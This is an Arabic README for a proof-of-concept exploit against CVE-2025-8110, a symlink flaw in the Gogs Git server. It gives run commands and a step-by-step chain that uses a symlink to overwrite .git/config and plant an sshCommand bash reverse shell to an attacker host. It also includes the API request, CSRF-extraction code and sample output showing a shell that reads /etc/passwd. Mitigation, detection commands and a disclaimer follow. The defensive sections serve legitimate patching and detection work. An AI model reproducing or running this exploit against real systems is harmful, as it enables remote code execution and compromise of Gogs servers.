
استغلال PoC للثغرة CVE-2025-8110
CVE-2025-8110 هي ثغرة أمنية خطيرة في Gogs تسمح للمهاجمين الموثقين بتنفيذ تعليمات برمجية عن بُعد من خلال التلاعب بالروابط الرمزية للمستودع. يوضح إثبات المفهوم هذا سلسلة الاستغلال الكاملة، من المصادقة إلى الحصول على شل عكسي.
توجد الثغرة لأن Gogs يتبع الروابط الرمزية عند التعامل مع ملفات المستودع عبر واجهة API الخاصة به، مما يسمح للمهاجم بقراءة وتعديل الملفات الحساسة مثل .git/config. عن طريق حقن توجيه sshCommand ضار، يمكن تنفيذ أوامر نظام عشوائية بصلاحيات حساب خدمة Gogs.
درجة CVSS: 7.2 (عالية)
متجه الهجوم: شبكة
المصادقة مطلوبة: نعم
تفاعل المستخدم: لا
التأثير: اختراق كامل للنظام
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
CVE-2025-8110/
├── CVE-2025-8110.py # البرنامج الرئيسي للاستغلال
├── requirements.txt # تبعيات Python
└── README.md # التوثيق
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v
┌─────────────────────────────────────────────────────────────────────────────┐
│ سلسلة استغلال CVE-2025-8110 │
└─────────────────────────────────────────────────────────────────────────────┘
الخطوة 1: المصادقة
├── الانتقال إلى /user/login
├── استخراج رمز CSRF من صفحة تسجيل الدخول
├── إرسال بيانات الاعتماد مع رمز CSRF
└── إنشاء جلسة موثقة
الخطوة 2: توليد رمز التطبيق
├── الانتقال إلى /user/settings/applications
├── استخراج رمز CSRF من صفحة الإعدادات
├── إنشاء رمز تطبيق جديد
└── استخراج الرمز من الرد
الخطوة 3: إنشاء مستودع ضار
├── إنشاء مستودع عبر الـ API مع auto_init
├── توليد اسم مستودع عشوائي
└── الحصول على رابط المستودع
الخطوة 4: رفع الرابط الرمزي
├── استنساخ المستودع محلياً
├── إنشاء رابط رمزي يشير إلى .git/config
├── إضافة ودمج ودفع التغييرات
└── تأكيد نجاح الرفع
الخطوة 5: استغلال RCE
├── إنشاء .git/config ضار مع sshCommand
├── تشفير محتوى الإعدادات بـ Base64
├── رفع عبر الـ API إلى الهدف الرمزي
└── تشغيل الأمر
الخطوة 6: الشل العكسي
├── إنشاء اتصال بمضيف المهاجم
├── الوصول إلى شل تفاعلي
└── تنفيذ الأوامر على الهدف
يفشل Gogs في تنقية تنقل الروابط الرمزية بشكل صحيح عند التعامل مع ملفات المستودع عبر واجهة API الخاصة به. عندما يتم الوصول إلى ملف عبر نقطة نهاية API، يتبع Gogs الروابط الرمزية دون تحقق، مما يسمح بالوصول إلى ملفات حساسة خارج دليل المستودع.
إنشاء الرابط الرمزي
ln -s .git/config malicious_link
git add malicious_link
git commit -m "إضافة رابط رمزي"
git push origin master
الإعدادات الضارة
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
استغلال الـ API
PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
Authorization: token {application_token}
{
"message": "استغلال CVE-2025-8110",
"content": "base64_encoded_config"
}
def extract_csrf(html_text):
"""استخراج رمز CSRF من حقل الإدخال المخفي مع طرق بديلة متعددة."""
# الطريقة 1: حقل إدخال باسم _csrf
soup = BeautifulSoup(html_text, "html.parser")
token_input = soup.select_one("input[name='_csrf']")
if token_input and token_input.get("value"):
return token_input.get("value")
# الطريقة 2: حقل إدخال باسم csrf_token
token_input = soup.select_one("input[name='csrf_token']")
if token_input and token_input.get("value"):
return token_input.get("value")
# الطريقة 3: وسم (meta) مع CSRF
meta_tag = soup.find("meta", {"name": "_csrf"})
if meta_tag and meta_tag.get("content"):
return meta_tag.get("content")
# الطريقة 4: نمط regex في وسم script
pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
match = re.search(pattern, html_text)
if match:
return match.group(1)
# الطريقة 5: regex لحقل الإدخال المخفي
pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
match = re.search(pattern, html_text, re.IGNORECASE)
if match:
return match.group(1)
raise ValueError("لم يتم العثور على رمز CSRF في رد النموذج")
git_config = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = {command}
[remote "origin"]
url = git@localhost:gogs/{repo_name}.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
"""
# جهاز المهاجم (10.10.14.15)
nc -lvnp 4444
يستمع على [0.0.0.0] (العائلة 0, المنفذ 4444)
# تنفيذ الاستغلال
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123
[INFO] بدء استغلال CVE-2025-8110
[INFO] الرابط الهدف: https://gogs.internal.local
[INFO] مضيف المهاجم: 10.10.14.15:4444
[INFO] اسم المستخدم: admin
[INFO] جاري المصادقة على Gogs...
[INFO] تم العثور على رمز CSRF لتسجيل الدخول: abc123def456...
[SUCCESS] تمت المصادقة بنجاح
[INFO] جاري استرداد رمز التطبيق...
[INFO] تم العثور على رمز CSRF للإعدادات: xyz789uvw012...
[SUCCESS] رمز التطبيق: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0
[INFO] جاري إنشاء مستودع ضار...
[SUCCESS] تم إنشاء المستودع: 6f7e8d9c0a1b
[INFO] جاري رفع الرابط الرمزي الضار...
[INFO] جاري استنساخ المستودع...
[INFO] إنشاء رابط رمزي: malicious_link -> .git/config
[INFO] جاري الإضافة والدمج والدفع...
[SUCCESS] تم رفع الرابط الرمزي بنجاح
[INFO] جاري إرسال حمولة الاستغلال...
[SUCCESS] تم إرسال الاستغلال، تحقق من المستمع الخاص بك!
[INFO] الأمر: bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
[SUCCESS] الاستغلال ناجح على الأرجح (انتهاء المهلة يشير إلى شل عكسي)
تم تلقي اتصال على 10.10.14.15:4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
gogs
bash-5.0$ id
uid=1000(gogs) gid=1000(gogs) groups=1000(gogs)
bash-5.0$ pwd
/home/gogs/gogs-repositories/admin/6f7e8d9c0a1b.git
bash-5.0$ hostname
gogs-server
bash-5.0$ uname -a
Linux gogs-server 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 GNU/Linux
bash-5.0$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
للتحقق من إصدار Gogs لديك:
# الوصول إلى واجهة Gogs ويب والتحقق من التذييل
# أو استخدام الـ API
curl https://gogs.example.com/api/v1/version
تحديث Gogs
# نسخ التثبيت الحالي احتياطياً
cp -r /home/gogs/gogs /home/gogs/gogs.backup
# تنزيل وتثبيت أحدث إصدار
wget https://dl.gogs.io/gogs_latest_linux_amd64.zip
unzip gogs_latest_linux_amd64.zip
cd gogs
./gogs web
تعطيل دعم الروابط الرمزية
# في custom/conf/app.ini
[repository]
DISABLE_SYMLINKS = true
تطبيق التحقق من المدخلات
# تقييد الوصول إلى واجهة API الخاصة بـ Gogs
iptables -A INPUT -p tcp --dport 3000 -s trusted_subnet -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP
نشاط المستودع
نشاط الـ API
/api/v1/repos/*/contents/*.git/config عبر الـ APIمؤشرات النظام
# التحقق من سجلات الوصول الخاصة بـ Gogs لاستغلال الـ API
grep "/api/v1/repos" /var/log/gogs/access.log | grep PUT
# مراقبة إنشاء الروابط الرمزية في المستودعات
find /home/gogs/gogs-repositories -type l
# التحقق من تعديلات git config المشبوهة
grep -r "sshCommand" /home/gogs/gogs-repositories/
# مراقبة الاتصالات الصادرة
ss -tunp | grep gogs
{
"event_type": "gogs_api_access",
"severity": "high",
"indicators": [
"PUT /api/v1/repos/*/contents/*",
"sshCommand في git config",
"أسماء مستودعات سداسية عشرية عشوائية"
],
"recommended_actions": [
"مراجعة سجلات إنشاء المستودع",
"التحقق من ملفات الروابط الرمزية",
"التحقق من أنماط وصول الـ API"
]
}
تم اكتشاف هذه الثغرة والإفصاح عنها بشكل مسؤول لفريق تطوير Gogs. أصدر البائع تصحيحاً في الإصدار 0.12.6.
هذه الأداة مقدمة لأغراض تعليمية واختبار أمني مصرح به فقط. يجب على المستخدمين:
لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الضرر الناجم عن هذه الأداة.
MIT License
حقوق النشر (c) 2025 oguiii
يُسمح لأي شخص يحصل على نسخة من هذا البرنامج والملفات المرتبطة به ("البرنامج") بالتعامل مع البرنامج دون قيود، بما في ذلك على سبيل المثال لا الحصر حقوق استخدام ونسخ وتعديل ودمج ونشر وتوزيع و/أو بيع نسخ من البرنامج، والسماح للأشخاص الذين تم توفير البرنامج لهم بذلك، مع مراعاة الشروط التالية:
يجب تضمين إشعار حقوق النشر أعلاه وإذن الترخيص هذا في جميع النسخ أو الأجزاء الجوهرية من البرنامج.
يتم توفير البرنامج "كما هو"، دون أي ضمان من أي نوع، صريح أو ضمني، بما في ذلك على سبيل المثال لا الحصر ضمانات قابلية التسويق والملاءمة لغرض معين وعدم الانتهاك. في أي حال من الأحوال لا يكون المؤلفون أو أصحاب الحقوق مسؤولين عن أي دعوى أو أضرار أو أي مسؤولية أخرى، سواء كانت ناشئة عن عقد أو ضرر أو غير ذلك، تنشأ من أو فيما يتعلق بالبرنامج أو الاستخدام أو التعاملات الأخرى في البرنامج.
تم بكل إخلاص بواسطة oguiii
| الخيار | الوصف | مطلوب |
|---|
-u, --url | رابط Gogs الأساسي (مثل https://gogs.example.com) | نعم |
-lh, --host | عنوان IP الخاص بالمهاجم للشل العكسي | نعم |
-lp, --port | منفذ المهاجم للشل العكسي | نعم |
-U, --username | اسم مستخدم Gogs | نعم |
-P, --password | كلمة مرور Gogs | نعم |
-x, --proxy | تفعيل الوكيل (localhost:8080) | لا |
-v, --verbose | تفعيل الإخراج المفصل | لا |